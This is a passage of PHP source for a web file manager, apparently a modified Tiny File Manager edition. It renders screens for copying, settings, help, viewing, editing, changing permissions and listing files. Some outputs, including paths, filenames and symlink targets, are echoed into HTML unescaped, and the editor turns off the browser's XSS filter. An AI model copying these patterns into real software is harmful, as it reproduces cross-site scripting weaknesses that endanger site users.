!file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b> </p> <p><i><?php echo lng('Select folder') ?></i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li> <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } if (isset($_GET['settings']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang, $lang_list; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header d-flex justify-content-between"> <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span> <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)"> <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true"> <div class="form-group row"> <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label> <div class="col-sm-5"> <select class="form-select" id="js-language" name="js-language"> <?php function getSelected($l) { global $lang; return ($lang == $l) ? 'selected' : ''; } foreach ($lang_list as $k => $v) { echo "<option value='$k' ".getSelected($k).">$v</option>"; } ?> </select> </div> </div> <div class="mt-3 mb-3 row "> <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label> <div class="col-sm-9"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> /> </div> </div> </div> <div class="mb-3 row"> <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label> <div class="col-sm-5"> <select class="form-select w-100" id="js-3-0" name="js-theme-3"> <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option> <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option> </select> </div> </div> <div class="mb-3 row"> <div class="col-sm-10"> <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button> </div> </div> </form> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['help'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header d-flex justify-content-between"> <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span> <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <div class="row"> <div class="col-xs-12 col-sm-6"> <p><h3><a href="https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p> <p>Original Author: Prasath Mani</p><p>Mod by: PinoyWH1Z</p> <p>Contact [Mod]: <a href="mailto:g2mfuotbs@mozmail.com">g2mfuotbs[at]mozmail.com</a> </p> </div> <div class="col-xs-12 col-sm-6"> <div class="card"> <ul class="list-group list-group-flush"> <li class="list-group-item"><a href="https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li> <li class="list-group-item"><a href="https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li> <?php if(!FM_READONLY) { ?> <li class="list-group-item"><a href="#gen-pass" onclick="show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li> <?php } ?> </ul> </div> </div> </div> <div class="row js-new-pwd hidden mt-2"> <div class="col-12"> <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action=""> <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true"> <div class="form-group mb-2"> <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label> </div> <div class="form-group mx-sm-3 mb-2"> <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label> <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required> </div> <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button> </form> <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea> </div> </div> </div> </div> </div> <?php fm_show_footer(); exit; } // file viewer if (isset($_GET['view'])) { $file = $_GET['view']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize_raw = fm_get_size($file_path); $filesize = fm_get_filesize($filesize_raw); $is_zip = false; $is_gzip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $is_onlineViewer = false; $view_title = 'File'; $filenames = false; // for zip $content = ''; // for text $online_viewer = strtolower(FM_DOC_VIEWER); if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){ $is_onlineViewer = true; } elseif ($ext == 'zip' || $ext == 'tar') { $is_zip = true; $view_title = 'Archive'; $filenames = fm_get_zif_info($file_path, $ext); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = 'Image'; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = 'Audio'; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = 'Video'; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="row"> <div class="col-12"> <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> <?php $display_path = fm_get_display_path($file_path); ?> <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br> <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br> <strong>MIME-type:</strong> <?php echo $mime_type ?><br> <?php // ZIP info if (($is_zip || $is_gzip) && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br> <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br> <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <div class="d-flex align-items-center mb-3"> <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> </form> <b class="ms-2"><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b> <?php // ZIP actions if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <form method="post" class="d-inline ms-2"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button> </form> <form method="post" class="d-inline ms-2"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>"> <input type="hidden" name="tofolder" value="1"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button> </form> <?php } if ($is_text && !FM_READONLY) { ?> <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?> </a></b> <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace" class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?> </a></b> <?php } ?> <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b> </div> <?php if($is_onlineViewer) { if($online_viewer == 'google') { echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } else if($online_viewer == 'microsoft') { echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fm_enc($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>'.lng('Error while fetching archive info').'</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fm_enc($content) . '</pre>'; } echo $content; } ?> </div> </div> <?php fm_show_footer(); exit; } // file editor if (isset($_GET['edit']) && !FM_READONLY) { $file = $_GET['edit']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $editFile = ' : <i><b>'. $file. '</b></i>'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <div class="row"> <div class="col-xs-12 col-sm-5 col-lg-6 pt-1"> <div class="btn-toolbar" role="toolbar"> <?php if (!$isNormalEditor) { ?> <div class="btn-group js-ace-toolbar"> <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button> <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button> <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button> <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button> <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button> <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select> <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select> <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select> </div> <?php } ?> </div> </div> <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1"> <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a> <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a> <?php if ($is_text) { ?> <?php if ($isNormalEditor) { ?> <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a> <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save </button> <?php } else { ?> <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a> <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?> </button> <?php } ?> <?php } ?> </div> </div> <?php if ($is_text && $isNormalEditor) { echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>'; echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>'; } elseif ($is_text) { echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?> </div> <?php fm_show_footer(); exit; } // chmod (not for Windows) if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <?php echo lng('ChangePermissions') ?> </h6> <div class="card-body"> <p class="card-text"> <?php $display_path = fm_get_display_path($file_path); ?> <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>"> <table class="table compact-table <?php echo fm_get_theme(); ?>"> <tr> <td></td> <td><b><?php echo lng('Owner') ?></b></td> <td><b><?php echo lng('Group') ?></b></td> <td><b><?php echo lng('Other') ?></b></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Read') ?></b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Write') ?></b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } // --- TINYFILEMANAGER MAIN --- fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path // show alert messages fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; $tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white"; ?> <form action="" method="post" class="pt-3"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <div class="table-responsive"> <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table"> <thead class="thead-white"> <tr> <?php if (!FM_READONLY): ?> <th style="width:3%" class="custom-checkbox-header"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()"> <label class="custom-control-label" for="js-select-all-items"></label> </div> </th><?php endif; ?> <th><?php echo lng('Name') ?></th> <th><?php echo lng('Size') ?></th> <th><?php echo lng('Modified') ?></th> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <th><?php echo lng('Perms') ?></th> <th><?php echo lng('Owner') ?></th><?php endif; ?> <th><?php echo lng('Actions') ?></th> </tr> </thead> <?php // link to parent folder if ($parent !== false) { ?> <tr><?php if (!FM_READONLY): ?> <td class="nosort"></td><?php endif; ?> <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td> <td class="border-0" data-order></td> <td class="border-0" data-order></td> <td class="border-0"></td> <?php if (!FM_IS_WIN && !$hide_Cols) { ?> <td class="border-0"></td> <td class="border-0"></td> <?php } ?> </tr> <?php } $ii = 3399; foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o'; $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw)); $filesize_raw = ""; $filesize = lng('Folder'); $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); if ($owner === false) { $owner = array('name' => '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ii ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>> <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div> </td> <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>"> <?php echo $filesize; ?> </td> <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo $owner['name'] . ':' . $group['name'] ?></td> <?php endif; ?> <td class="inline-actions"><?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a> <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> <a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a> </td> </tr> <?php flush(); $ii++; } $ik = 6070; foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f); $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw)); $filesize_raw = fm_get_size($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); if ($owner === false) { $owner = array('name' => '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ik ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fm_enc($f) ?>> <div class="filename"> <?php if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?> <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?> <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>"> <?php else: ?> <a href="<?php echo $filelink ?>" title="<?php echo $f ?>"> <?php endif; ?> <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a> <?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?> </div> </td> <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>"> <?php echo $filesize; ?> </span></td> <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td class="inline-actions"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', 